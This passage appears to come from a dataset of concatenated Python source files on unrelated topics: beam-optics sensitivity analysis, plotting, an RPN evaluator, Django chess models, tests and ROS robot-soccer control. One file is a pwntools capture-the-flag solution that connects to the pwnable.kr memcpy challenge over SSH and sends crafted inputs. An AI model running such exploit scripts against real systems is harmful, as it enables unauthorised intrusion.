np.array(file['Channel']['lev_0']['upd_'+str(upd)])\n if nlev == 1 else\n np.array(file['Channel']['lev_1']['upd_'+str(upd)])\n )\n\n # get unique group IDs\n ids = { id for id in channel.flatten() }\n\n # for each group, get all regulators\n cmapper = {}\n for id in ids:\n tags_to_regs = []\n idxs = []\n for idx in range(index.flatten().size):\n if channel[idx] == id and live.flatten()[idx]:\n idxs.append(idx)\n archives = [ json.loads(\n regulator[idx].decode(\"utf-8\")\n )['value0'] for regulator in regulators ]\n tags = {\n d['key'] : d['value']['value0']['value0']\n for d in archives[0]['tags']\n }\n\n regulatorsum = defaultdict(lambda: 0.0)\n for archive in archives:\n for d in archive['regulators']:\n regulatorsum[d['key']] += d['value']\n\n tags_to_regs.append({\n tags[uid] : regulatorsum[uid] for uid in archives[0]['uids']\n })\n\n # if less than half the cells have the regulator, drop it\n # otherwise (e.g., probably a few cells lost it), assume it's default\n df = pd.DataFrame.from_records(\n tags_to_regs\n )\n df = df.dropna(thresh=len(df)/2).fillna(1)\n\n n=min(3, len(df.columns), len(df))\n if n:\n pca = PCA(n_components=n)\n\n pc = None\n with warnings.catch_warnings():\n # ignore sklearn and divide by zero warnings\n # (we handle them below)\n warnings.simplefilter(\"ignore\")\n pc = pca.fit_transform(df.to_numpy())\n pc = (pc - pc.min(0)) / pc.ptp(0)\n\n for idx, row in zip(idxs, pc):\n cmapper[idx] = (\n row[0] if row.size >= 1 and not np.isnan(row[0]) else 0.5,\n row[1] if row.size >= 2 and not np.isnan(row[1]) else 0.5,\n row[2] if row.size >= 3 and not np.isnan(row[2]) else 0.5,\n )\n else:\n for idx in idxs:\n cmapper[idx] = (0.5, 0.5, 0.5)\n\n image = np.array([\n [\n cmapper[val_index] if val_live else (0.0,0.0,0.0)\n for val_index, val_live in zip(row_index, row_live)\n ]\n for row_index, row_live in zip(index, live)])\n\n plt.figure(figsize=(18,18))\n\n plt.imshow(\n image,\n extent = (0, image.shape[1], image.shape[0], 0)\n )\n\n plt.axis('off')\n plt.grid(b=None)\n\n lines_0 = LineCollection([\n ((x,y), dest)\n for x in range(image.shape[0])\n for y in range(image.shape[1])\n for dest in ((x+1,y), (x,y+1))\n if data_0[y][x] != data_0[dest[1]-1][dest[0]-1]\n ], linestyle='solid', colors='white')\n plt.gca().add_collection(lines_0)\n\n lines_1 = LineCollection([\n ((x,y), dest)\n for x in range(image.shape[0])\n for y in range(image.shape[1])\n for dest in ((x+1,y), (x,y+1))\n if data_1[y][x] != data_1[dest[1]-1][dest[0]-1]\n ], linestyle='solid', colors='black')\n\n plt.gca().add_collection(lines_1)\n\n plt.savefig(\n kn.pack({\n 'title' : 'regulator_viz',\n 'update' : str(upd),\n 'seed' : kn.unpack(filename)['seed'],\n 'treat' : kn.unpack(filename)['treat'],\n '_data_hathash_hash' : fsh.FilesHash().hash_files([filename]),\n '_script_fullcat_hash' : fsh.FilesHash(\n file_parcel=\"full_parcel\",\n files_join=\"cat_join\"\n ).hash_files([sys.argv[0]]),\n '_source_hash' :kn.unpack(filename)['_source_hash'],\n 'ext' : '.png'\n }),\n transparent=True,\n bbox_inches='tight',\n pad_inches=0\n )\n\n plt.clf()\n plt.close(plt.gcf())\n\nParallel(n_jobs=-1)(\n delayed(RenderAndSave)(upd, filename) for upd in tqdm(updates)\n)\n","sub_path":"old/script/AnimateRenderRegulator.py","file_name":"AnimateRenderRegulator.py","file_ext":"py","file_size_in_byte":5272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"577415409","text":"\"\"\"\"\n小论文 敏感性分析\nA03后偏转段机架敏感性分析之二极CCT径向error.py\n\"\"\"\nfrom os import error, path\nimport sys\nsys.path.append(path.dirname(path.abspath(path.dirname(__file__))))\nsys.path.append(path.dirname(path.dirname(\n path.abspath(path.dirname(__file__)))))\nfrom cctpy import *\n\nif __name__ == '__main__':\n BaseUtils.i_am_sure_my_code_closed_in_if_name_equal_main()\n timer = BaseUtils.Timer()\n\n agcct3_winding_number = 25\n agcct4_winding_number = 40\n agcct5_winding_number = 34\n\n ids:List[int] =[1]*20\n\n gantry = HUST_SC_GANTRY(\n qs3_gradient=5.546,\n qs3_second_gradient=-57.646,\n dicct345_tilt_angles=[30, 87.426, 92.151, 91.668],\n agcct345_tilt_angles=[94.503, 30, 72.425,\t82.442],\n dicct345_current=9445.242,\n agcct345_current=-5642.488,\n agcct3_winding_number=agcct3_winding_number,\n agcct4_winding_number=agcct4_winding_number,\n agcct5_winding_number=agcct5_winding_number,\n agcct3_bending_angle=-67.5*(agcct3_winding_number)/(\n agcct3_winding_number+agcct4_winding_number+agcct5_winding_number),\n agcct4_bending_angle=-67.5*(agcct4_winding_number)/(\n agcct3_winding_number+agcct4_winding_number+agcct5_winding_number),\n agcct5_bending_angle=-67.5*(agcct5_winding_number)/(\n agcct3_winding_number+agcct4_winding_number+agcct5_winding_number),\n\n DL1=0.9007765,\n GAP1=0.4301517,\n GAP2=0.370816,\n qs1_length=0.2340128,\n qs1_aperture_radius=60 * MM,\n qs1_gradient=0.0,\n qs1_second_gradient=0.0,\n qs2_length=0.200139,\n qs2_aperture_radius=60 * MM,\n qs2_gradient=0.0,\n qs2_second_gradient=0.0,\n\n DL2=2.35011,\n GAP3=0.43188,\n qs3_length=0.24379,\n\n agcct345_inner_small_r=83 * MM,\n agcct345_outer_small_r=98 * MM, # 83+15\n dicct345_inner_small_r=114 * MM, # 83+30+1\n dicct345_outer_small_r=130 * MM, # 83+45 +2\n )\n\n bl0 = gantry.create_second_bending_part_beamline()\n\n # 所有磁铁\n ms = bl0.get_magnets()\n\n # 分成 二极 cct、四极 cct 和非 cct\n diccts:List[CCT] = []\n quccts:List[CCT] = []\n other_magnets:List[Magnet] = []\n\n for m in ms:\n if isinstance(m,CCT):\n cct = CCT.as_cct(m)\n if BaseUtils.equal(30,abs(cct.tilt_angles[0])):\n diccts.extend(CCT.cut_to_single_winding_cct(cct))\n elif BaseUtils.equal(30,abs(cct.tilt_angles[1])):\n quccts.append(cct)\n else:\n raise ValueError(f\"无法区分CCT是二极还是四极,cct=\\n{cct}\")\n else:\n other_magnets.append(m)\n\n\n bls = []\n for id_ in ids:\n bl = Beamline(trajectory=bl0.get_trajectory())\n bl.magnets = []\n bl.magnets.extend(diccts)\n bl.magnets.extend(other_magnets)\n\n for qucct in quccts:\n # error = BaseUtils.Random.gauss_limited(0,4*MM,8*MM)\n # error = BaseUtils.Random.uniformly_distribution(max = 0.2*MM, min = -0.2*MM)\n error = -8*MM\n bl.magnets.append(CCT.create_by_existing_cct(\n existing_cct=qucct,\n starting_point_in_ksi_phi_coordinate = \n qucct.starting_point_in_ksi_phi_coordinate + P2(y = error / qucct.big_r),\n end_point_in_ksi_phi_coordinate = \n qucct.end_point_in_ksi_phi_coordinate + P2(y = error / qucct.big_r)\n ))\n bls.append(bl)\n\n ga = GPU_ACCELERATOR(\n # float_number_type=GPU_ACCELERATOR.FLOAT64,\n # block_dim_x=256\n )\n\n delta = 0.00\n\n results = ga.track_phase_ellipse_in_multi_beamline(\n beamlines=[bl0]+bls,\n x_sigma_mm=3.5,xp_sigma_mrad=7.5,\n y_sigma_mm=3.5,yp_sigma_mrad=7.5,\n delta=delta,\n particle_number=16,kinetic_MeV=215,\n footstep=10*MM\n )\n\n\n result0 = results[0]\n xs0,ys0 = result0\n\n \n Plot2.subplot(121)\n Plot2.plot_p2s(xs0,circle=True,describe='k-')\n Plot2.subplot(122)\n Plot2.plot_p2s(ys0,circle=True,describe='k-')\n\n for i in range(1,len(results)):\n result = results[i]\n xs,ys = result\n\n Plot2.subplot(121)\n Plot2.plot_p2s(xs,circle=True,describe='r-')\n Plot2.subplot(122)\n Plot2.plot_p2s(ys,circle=True,describe='r-')\n\n Plot2.subplot(121)\n Plot2.info(\"x/mm\",\"xp/mr\",\"x-plane\")\n Plot2.legend(\"0\",\"err\")\n Plot2.equal()\n Plot2.subplot(122)\n Plot2.info(\"y/mm\",\"yp/mr\",\"y-plane\")\n Plot2.legend(\"0\",\"err\")\n Plot2.equal()\n\n Plot2.show()\n\n","sub_path":"final_code/work/sensitivity_analysis/A06后偏转段机架敏感性分析之四极CCT纵向error.py","file_name":"A06后偏转段机架敏感性分析之四极CCT纵向error.py","file_ext":"py","file_size_in_byte":4620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"630792746","text":"#!/usr/bin/python3\n\nfrom pwn import *\n\ns = ssh('memcpy', 'pwnable.kr', 2222, 'guest')\np = s.connect_remote('localhost', 9022)\n\np.recvuntil('specify the memcpy amount between 8 ~ 16 : ')\n\np.sendline(str(0 + 8))\nprint(str(0 + 8))\nfor i in range(1, 10):\n p.sendline(str(8 * 2 ** i + 8))\n print(str(8 * 2 ** i + 8))\n\ntime.sleep(2)\nprint(p.recvall().decode('ascii'))","sub_path":"Toddler's Bottle/memcpy/memcpy.py","file_name":"memcpy.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"559863973","text":"'''\n150. Evaluate Reverse Polish Notation\n\nCreated on Jun 30, 2018\nEvaluate the value of an arithmetic expression in Reverse Polish Notation.\n [\"2\", \"1\", \"+\", \"3\", \"*\"] -> ((2 + 1) * 3) -> 9\n [\"4\", \"13\", \"5\", \"/\", \"+\"] -> (4 + (13 / 5)) -> 6\n@author: smaiya\n'''\n\nclass Solution:\n # @param A : list of strings\n # @return an integer\n def evalRPN(self, A):\n inp_data = list()\n for data in A:\n if data in (\"+\", \"-\", \"*\", \"/\"):\n num2 = inp_data.pop()\n num1 = inp_data.pop()\n if data == \"+\":\n inp_data.append(num1+num2)\n elif data == \"-\":\n inp_data.append(num1-num2)\n elif data == \"*\":\n inp_data.append(num1*num2)\n elif data == \"/\":\n inp_data.append(int(num1/num2))\n else:\n inp_data.append(int(data))\n return inp_data.pop()\n \n \n\n\na = Solution()\ninp = [\"2\", \"1\", \"+\", \"3\", \"*\"]\ninp = [\"4\", \"13\", \"5\", \"/\", \"+\"]\nout = a.evalRPN(inp)\nprint ('Result = ', out)\n","sub_path":"LeetCode_python/src/stacks_and_queues/evalRPN_M.py","file_name":"evalRPN_M.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"218269959","text":"import os\nimport sys\nimport unittest\nfrom unittest.mock import *\n\nsys.path.append(os.path.abspath('..'))\nfrom parameters import Parameters\nfrom data_aggregator import DataAggregator\nfrom season import Season\nfrom team import Team\n\n\nclass TestDataAggregator(unittest.TestCase):\n\n def test_get_data_for_seasons(self):\n fetcher_mock = Mock()\n fetcher_mock.fetch_data_for_season = MagicMock(side_effect=lambda season, param: season.value)\n\n preprocessor_mock = Mock()\n preprocessor_mock.process_data = MagicMock(side_effect=lambda data: [d + ' processed' for d in data])\n\n aggregator = DataAggregator(data_fetcher=fetcher_mock, preprocessor=preprocessor_mock)\n\n actual = aggregator.get_data_for_seasons([Season.y2015, Season.y2016], Parameters(2))\n expected = ['2015 processed', '2016 processed']\n\n self.assertEqual(expected, actual)\n\n def test_get_data_for_team_in_seasons(self):\n fetcher_mock = Mock()\n fetcher_mock.fetch_data_for_team_in_season = MagicMock(\n side_effect=lambda season, team, param: season.value + ' ' + team.value)\n\n preprocessor_mock = Mock()\n preprocessor_mock.process_data = MagicMock(side_effect=lambda data: [d + ' processed' for d in data])\n\n aggregator = DataAggregator(data_fetcher=fetcher_mock, preprocessor=preprocessor_mock)\n\n actual = aggregator.get_data_for_team_in_seasons(Team.Arsenal, [Season.y2015, Season.y2016], Parameters(2))\n expected = ['2015 3459 processed', '2016 3459 processed']\n\n self.assertEqual(expected, actual)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"Preprocessing/test/test_data_aggregator.py","file_name":"test_data_aggregator.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"92778301","text":"from django.db import models\nfrom basic_models import models as basic_models\nfrom django.template.defaultfilters import slugify\nfrom django.utils.safestring import mark_safe\n\nimport re\nimport random\nimport datetime\nimport string\n\n\n\n\n\nclass PieceColor(models.Model):\n turn_order = models.IntegerField()\n name = models.CharField(max_length=64)\n letter = models.CharField(max_length=1, unique=True)\n hexvalue = models.CharField(max_length=64, blank=True)\n\n #class Meta:\n #ordering = ('turn_order',)\n\n def __unicode__(self):\n return self.name\n\nclass BoardSetup(basic_models.SlugModel):\n description = models.TextField(blank=True)\n num_rows = models.PositiveIntegerField(choices=((c,c) for c in range(8,27)), default=14)\n num_cols = models.PositiveIntegerField(choices=((c,c) for c in range(8,27)), default=14)\n min_players = models.PositiveIntegerField(choices=((c,c) for c in range(2,17)), default=4)\n max_players = models.PositiveIntegerField(choices=((c,c) for c in range(2,17)), default=4)\n squares = models.TextField(blank=True)\n pieces = models.TextField(blank=True)\n\n @property\n def files(self):\n return string.ascii_lowercase[:self.num_cols]\n\n def save(self, *args, **kwargs):\n if not self.slug:\n self.slug = slugify(self.name)\n return super(BoardSetup, self).save(*args, **kwargs)\n\n\n def is_coord_valid(self, file, rank):\n col = string.ascii_lowercase.find(file)+1\n return (col > 0 and col <= self.num_cols) and \\\n (rank > 0 and rank <= self.num_rows) and \\\n ('%s%s'%(file,rank) not in self.squares)\n\n def get_space_color(self, file, rank):\n color = \"\"\n if not self.is_coord_valid(file,rank):\n color = \"unusable \"\n files_odds = self.files[::2]\n files_evens = self.files[1::2]\n if rank % 2:\n color += \"black\" if file in files_odds else \"white\"\n else:\n color += \"black\" if file in files_evens else \"white\"\n return color\n\n def get_starting_piece(self, file, rank):\n unicodes = {'K': '♚', 'Q': '♛', 'R': '♜', 'B': '♝', 'N': '♞', 'P': '♟', }\n colors = dict(((pc.letter,pc.name.lower()) for pc in PieceColor.objects.all()))\n for p in re.split(r'\\s+', self.pieces):\n p = p.strip()\n if p.endswith(\"%s%s\" % (file,rank)):\n return mark_safe('<div class=\"piece %(color)s id=\"piece_%(piece)s-%(color)s\" piece=\"%(name)s\">%(unicode)s</div>' % {\n 'color': colors[p[0]],\n 'piece': p[1],\n 'unicode': unicodes[p[1].upper()],\n 'name': p,\n })\n return ''\n\n def get_color_letters(self):\n ret = \"\"\n for pc in self.get_piece_colors():\n ret += pc.letter\n return ret\n\n def get_piece_colors(self):\n return [bsc.color for bsc in self.boardsetupcolor_set.all().order_by('turn_order').select_related()]\n\n def get_turn_color(self, turn_order):\n bcs = self.boardsetupcolor_set.get(turn_order=turn_order)\n return bcs.color\n\n\n\nclass BoardSetupColor(models.Model):\n board_setup = models.ForeignKey(BoardSetup)\n turn_order = models.IntegerField(choices=((c,c) for c in range(0,33)))\n color = models.ForeignKey(PieceColor)\n\n class Meta:\n ordering = ('turn_order',)\n\n\n\n\n\nPIECE_PAWN='P'\nPIECE_ROOK='R'\nPIECE_KNIGHT='N'\nPIECE_BISHOP='B'\nPIECE_QUEEN='Q'\nPIECE_KING='K'\nPIECE_CHOICES = (\n (PIECE_PAWN, 'Pawn'),\n (PIECE_ROOK, 'Rook'),\n (PIECE_KNIGHT, 'Knight'),\n (PIECE_BISHOP, 'Bishop'),\n (PIECE_QUEEN, 'Queen'),\n (PIECE_KING, 'King'),\n)\n\nclass Player(basic_models.ActiveModel):\n user = models.OneToOneField('auth.User')\n ranking = models.IntegerField(default=1500)\n\n def __unicode__(self):\n return unicode(self.user)\n\n\nclass Game(basic_models.SlugModel):\n board_setup = models.ForeignKey(BoardSetup)\n started_at = models.DateTimeField(blank=True, null=True, default=None)\n turn_number = models.PositiveIntegerField(default=0)\n turn_color = models.IntegerField(default=0)\n #num_players = models.PositiveIntegerField(default=4)\n\n @property\n def num_players(self):\n return self.gameplayer_set.all().count()\n\n @property\n def comma_players(self):\n return ', '.join(unicode(gp.player) for gp in self.gameplayer_set.all())\n\n def save(self, *args, **kwargs):\n if not self.slug:\n self.slug = slugify(self.name)\n return super(Game, self).save(*args, **kwargs)\n\n def start_new_game(self):\n if self.started_at is not None:\n return\n\n color_letters = self.board_setup.get_color_letters()\n piece_letters = 'PRNBQK'\n piece_colors = self.board_setup.get_piece_colors()\n\n for placement in re.split(r'\\s+', self.board_setup.pieces):\n placement = placement.strip()\n if not placement:\n continue\n turn_order = color_letters.find(placement[0].lower())\n piece = placement[1].upper()\n square = placement[2:].lower()\n if turn_order == -1 or piece not in piece_letters:\n continue\n action, created = GameAction.objects.get_or_create(game=self,\n turn=0,color=turn_order,\n piece=piece,\n from_coord='',\n to_coord=square)\n\n\n\n # randomize player positions\n turns = sorted(zip([random.random() for c in range(0,self.num_players)], [player for player in self.gameplayer_set.all()]), lambda a,b: cmp(a[0],b[0]))\n turn_order = 0\n for weight,player in turns:\n player.turn_order = turn_order\n player.color = piece_colors[turn_order]\n player.save()\n turn_order += 1\n\n self.started_at = datetime.datetime.now()\n self.turn_number = 1\n self.turn_color = 0\n self.save()\n\n def next_turn(self):\n self.turn_color += 1\n if self.turn_color >= self.num_players:\n self.turn_color = 0\n self.turn_number += 1\n self.save()\n\n def action_log(self):\n return self.gameaction_set.all()\n\n def get_latest_piece(self, coord):\n qs = self.gameaction_set.filter(to_coord=coord).order_by('-turn','-color')\n if len(qs) < 1:\n return None\n return qs[0]\n\n def is_playing(self, user):\n return (self.gameplayer_set.filter(player__user=user.id).count() > 0)\n\n\nclass GamePlayer(models.Model):\n game = models.ForeignKey(Game)\n player = models.ForeignKey(Player)\n turn_order = models.IntegerField(default=-1)\n color = models.ForeignKey(PieceColor, blank=True, null=True)\n controller = models.ForeignKey('self', blank=True, null=True, default=None)\n\n class Meta:\n ordering = ('turn_order',)\n\n def __unicode__(self):\n return \"%s (%s)\" % (self.color, self.controller if self.controller else self.player)\n\n\n\n\nclass GameAction(models.Model):\n game = models.ForeignKey(Game)\n turn = models.PositiveIntegerField()\n color = models.IntegerField()\n piece = models.CharField(max_length=64, choices=PIECE_CHOICES)\n from_coord = models.CharField(max_length=64, blank=True)\n to_coord = models.CharField(max_length=64)\n is_capture = models.BooleanField(default=False)\n is_check = models.BooleanField(default=False)\n is_mate = models.BooleanField(default=False)\n\n class Meta:\n ordering = ('turn','color')\n\n @property\n def expression(self):\n suffix = ''\n if self.is_mate:\n suffix = '#'\n elif self.is_check:\n suffix = '+'\n return \"%(piece)s%(is_cap)s%(to_coord)s%(suffix)s\" % {\n 'piece': self.piece if self.piece != PIECE_PAWN else '',\n 'to_coord': self.to_coord,\n 'is_cap': 'x' if self.is_capture else '',\n 'suffix': suffix,\n }\n\n def __unicode__(self):\n fmts = (\"%s\", \"... %s\", \"... ... %s\", \"... ... ... %s\")\n return \"%s. %s\" % (self.turn, fmts[self.color] % (self.expression,))\n","sub_path":"apps/chessmatch/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"65807439","text":"import pytest\n\nfrom leetcode.strings.string_to_integer import Solution\n\n\ntest_params = [\n (\"42\", 42),\n (\"+-2\", 0),\n (\" -42\", 42),\n (\"4193 with words\", 4193),\n (\"words and 987\", 0),\n (\"-91283472332\", -2147483648),\n]\n\n\n@pytest.mark.parametrize('string, expected', test_params)\ndef test_string_to_integer(string, expected):\n solution = Solution()\n solution.my_atoi(string) == expected\n","sub_path":"src/leetcode/tests/strings/test_string_to_integer.py","file_name":"test_string_to_integer.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"251441078","text":"import sys\n#Bounding box size is 10*10\ndef Translate_To_Origin( scale_newPoints ):\n x = 0\n y = 0\n point_num = 0\n newPoints = []\n '''\n for point in scale_newPoints:\n x += point[0]\n y += point[1]\n point_num += 1\n\n centroid = [ 1.0 * x / point_num, 1.0 * y / point_num ]\n '''\n x_min = sys.maxint\n y_min = sys.maxint\n for point in scale_newPoints:\n if point[0] < x_min:\n x_min = point[0]\n if point[1] < y_min:\n y_min = point[1] \n\n for point in scale_newPoints:\n #qx = point[0] - centroid[0]\n #qy = point[1] - centroid[1]\n qx = point[0] - x_min\n qy = point[1] - y_min\n newPoints.append( [qx, qy] )\n return newPoints\n\n\ndef Scale_To_Square( point_list, SIZE ):\n newPoints = []\n B = Bounding_Box( point_list )\n for point in point_list:\n qx = point[0] * (1.0 * SIZE / B['B_width'] )\n qy = point[1] * (1.0 * SIZE / B['B_height'] )\n newPoints.append( [qx,qy] )\n return newPoints\n\n\ndef Bounding_Box( point_list ):\n x_min = point_list[0][0]\n x_max = point_list[0][0]\n y_min = point_list[0][1]\n y_max = point_list[0][1]\n \n for point in point_list:\n if point[0] > x_max:\n x_max = point[0]\n if point[0] < x_min:\n x_min = point[0]\n if point[1] > y_max:\n y_max = point[1]\n if point[1] < y_min:\n y_min = point[1]\n B_width = x_max - x_min\n B_height = y_max - y_min\n \n return { 'B_width':B_width, 'B_height':B_height }\n\n","sub_path":"refcode/Hausdroff/Scale_Translation.py","file_name":"Scale_Translation.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"17649684","text":"import pytest\nfrom unittest import mock\n\nfrom share.janitor.tasks import rawdata_janitor\n\nfrom tests import factories\n\n\n@pytest.mark.django_db\nclass TestRawDataJanitor:\n\n @pytest.fixture(autouse=True)\n def mock_transform(self, monkeypatch):\n mock_transform = mock.Mock()\n monkeypatch.setattr('share.tasks.transform.apply', mock_transform)\n return mock_transform\n\n def test_empty(self, mock_transform):\n rawdata_janitor()\n\n assert mock_transform.called is False\n\n def test_unprocessed_data(self, mock_transform):\n rds = factories.RawDatumFactory.create_batch(55)\n assert rawdata_janitor() == 55\n assert sorted(mock_transform.call_args_list) == sorted([\n mock.call((rd.id,), throw=True, retries=4) for rd in rds\n ])\n\n def test_idempotent(self, mock_transform):\n rds = factories.RawDatumFactory.create_batch(55)\n\n for rd in rds:\n factories.NormalizedDataFactory(raw=rd)\n\n assert rawdata_janitor() == 0\n assert rawdata_janitor() == 0\n\n assert mock_transform.call_args_list == []\n\n def test_some_unprocessed_date(self, mock_transform):\n rds = factories.RawDatumFactory.create_batch(55)\n for rd in rds[:25]:\n factories.NormalizedDataFactory(raw=rd)\n\n assert rawdata_janitor() == 30\n\n assert sorted(mock_transform.call_args_list) == sorted([\n mock.call((rd.id,), throw=True, retries=4) for rd in rds[25:]\n ])\n\n def test_ignores_no_output(self, mock_transform):\n factories.RawDatumFactory.create_batch(25, no_output=True)\n\n assert rawdata_janitor() == 0\n\n assert mock_transform.call_args_list == []\n\n def test_ignores_exceptions(self, mock_transform):\n factories.RawDatumFactory.create_batch(25)\n\n se = ['test'] * 25\n se[10] = ValueError\n se[20] = TypeError\n mock_transform.side_effect = se\n\n with mock.patch('share.janitor.tasks.client') as mock_sentry:\n assert rawdata_janitor() == 25\n assert mock_sentry.captureException.called\n","sub_path":"tests/share/test_janitor.py","file_name":"test_janitor.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"244743749","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport autoslug.fields\nimport datetime\nimport django_markdown.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Post',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=200)),\n ('content', django_markdown.models.MarkdownField()),\n ('pub_date', models.DateField(default=datetime.datetime.today)),\n ('slug', autoslug.fields.AutoSlugField(populate_from=b'title', unique=True, editable=False)),\n ],\n options={\n 'ordering': ['-pub_date'],\n },\n ),\n ]\n","sub_path":"whatilearned/blog/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"542238581","text":"class Solution(object):\n def maxAreaOfIsland(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n # 深度优先遍历,访问过之后将此节点标为0\n n = len(grid)\n m = len(grid[0])\n ans = 0\n for x in range(n):\n for y in range(m):\n if grid[x][y] == 1:\n ans = max(self.dfs(grid,x,y), ans)\n return ans\n \n def dfs(self, grid, x, y):\n n = len(grid)\n m = len(grid[0])\n count = 1\n grid[x][y] = 0\n g_next = [[0, 1],[0, -1], [1, 0],[-1, 0]]\n for i in range(4):\n x_n = x + g_next[i][0]\n y_n = y + g_next[i][1]\n if (x_n > -1 and x_n < n and y_n > -1 and y_n < m and grid[x_n][y_n] == 1):\n count += self.dfs(grid, x_n, y_n)\n return count","sub_path":"专题学习/数组/maxAreaOfIsland.py","file_name":"maxAreaOfIsland.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"307335876","text":"#!/usr/bin/env python2\n# coding: UTF-8\n\nimport rospy\nimport math\nfrom geometry_msgs.msg import Pose2D\nfrom RI_AI_msg.msg import RobotInfo,BALL_INFO,SEND,GEOMETRY,LINEINFO,ARCINFO,Referee,Ditection,Message\nimport referee_translate\nimport Role\nimport calculate\nimport attacker\nimport goalie\nimport defense\n\nclass Main(object):\n\tdef __init__(self):\n\n\t\tself.our_robot_info = {'our':[],'their':[]}\n\t\tself.our_robot_info['our'].append(RobotInfo())\n\t\tself.ball_info_msg = []\n\t\tself.ball_info_msg.append(BALL_INFO())\n\t\tself.geometry_msg = GEOMETRY()\n\t\tself.send_msg=[]\n\t\tself.referee_info=Referee()\n\t\tself.sub_referee_info=rospy.Subscriber(\"referee_info\",Referee,self.referee_callback,queue_size=1)\n\t\tself.sub_robot_our_info=rospy.Subscriber(\"vision_our_robot_info\",Ditection,self.our_robot_callback,callback_args=0,queue_size=1)\n\t\tself.sub_ball_info=rospy.Subscriber(\"ball_info\",BALL_INFO,self.ball_callback,queue_size=1)\n\t\tself.sub_geomerty_info=rospy.Subscriber(\"geometry_message\",GEOMETRY,self.geometry_callback,queue_size=1)\n\t\tself.pub_robot_our_info=rospy.Publisher(\"vision_our_send\",RobotInfo,queue_size=1)\n\t\tself.pub_send_info=rospy.Publisher(\"send_value\",Message,queue_size=1)\n\t\tself.pub_send=[]\n\t\tself.robot_blue=[]\n\t\tself.ball_info=BALL_INFO()\n\t\tself.count=0\n\n\n\tdef referee_callback(self,msg):\n\t\tself.referee_info=msg\n\n\tdef geometry_callback(self,msg):\n\t\tself.geometry_msg=msg\n\n\tdef ball_callback(self,msg):\n\t\tself.ball_info_msg = msg\n\t\tself.ball_info.pose.x = self.ball_info_msg.pose.x\n\t\tself.ball_info.pose.y = self.ball_info_msg.pose.y\n\n\tdef our_robot_callback(self,msg,robot_id):\n\t\tself.count=self.count+1\n\t\tprint(msg)\n\t\tif self.count==1:\n\t\t\tfor ID in range(8):\n\t\t\t\tself.robot_blue.append(msg.yellow_info[0])\n\t\tfor robot in msg.yellow_info:\n\t\t\tself.robot_blue[robot.robot_id]=robot\n\n\tdef pub_send_all(self,message):\n\t\t#self.send_msg.append(self.pub_send_info)\n\t\tself.pub_send_info.publish(message)\n\n\tdef main(self):\n\t\twhile self.count==0:\n\t\t\tMASUO_SSL=1\n\t\tID_MOUNT=8\n\t\tmessage=Message()\n\t\tsender=SEND()\n\t\tsenderw=SEND()\n\t\tsendero=SEND()\n\t\tmessage.send=[]\n\t\tTH_goal_info=Pose2D(6,0,0)\n\t\tOUR_goal_info=Pose2D(-6,0,0)\n\t\tdevide = Role.role_decision(self.robot_blue,self.ball_info,TH_goal_info,OUR_goal_info,self.count)\n\t\tref_command=referee_translate.main(self,self.referee_info)\n\t\tref_command=\"STOP\"\n\t\tif ref_command==\"HALT\":\n\t\t\tsend=attacker.halt(send)\n\t\telif ref_command==\"STOP\":\n\t\t\t#message.send.append(goalie.main(OUR_goal_info,self.robot_blue[devide.goalie],self.ball_info,self.geometry_msg,senderw))\n\t\t\t#message.send.append(attacker.main(TH_goal_info,self.robot_blue[devide.attacker],self.ball_info,sender))\n\t\t\t#for defense_id in devide.defense:\n\t\t\tsendero=SEND()\n\t\t\t\t#message.send.append(defense.main(OUR_goal_info,self.robot_blue[defense_id],self.ball_info,self.geometry_msg,sendero))\n\t\telif ref_command==\"NORMAL_START\":\n\t\t\tsend=attacker.halt(send)\n\t\telif ref_command==\"FORCE_START\":\n\t\t\tsend=attacker.halt(send)\n\t\telif ref_command==\"OUR_KICKOFF_START\":\n\t\t\tsend=attacker.main(TH_goal_info,self.robot_blue[devide.attacker],self.ball_info,send)\n\t\telif referee_command==\"THEIR_KICKOFF_START\":\n\t\t\tsend=attacker.halt(send)\n\t\telif ref_command==\"OUR_PANALTY_PRE\":\n\t\t\tsend=attacker.halt(send)\n\t\telif ref_command==\"THEIR_PENALTY_PRE\":\n\t\t\tsend=attacker.halt(send)\n\t\telif ref_command==\"OUR_DIRECT\":\n\t\t\tsend=attacker.halt(send)\n\t\telif ref_command==\"THEIR_DIRECT\":\n\t\t\tsend=attacker.halt(send)\n\t\telif ref_command==\"OUR_INDIRECT\":\n\t\t\tsend=attacker.halt(send)\n\t\telif ref_command==\"THEIR_INDIRECT\":\n\t\t\tsend=attacker.halt(send)\n\t\tself.pub_send_all(message)\n\nif __name__==\"__main__\":\n\t\n\trospy.init_node(\"main\")\n\tr=rospy.Rate(60)\n\tproto=Main()\n\n\twhile not 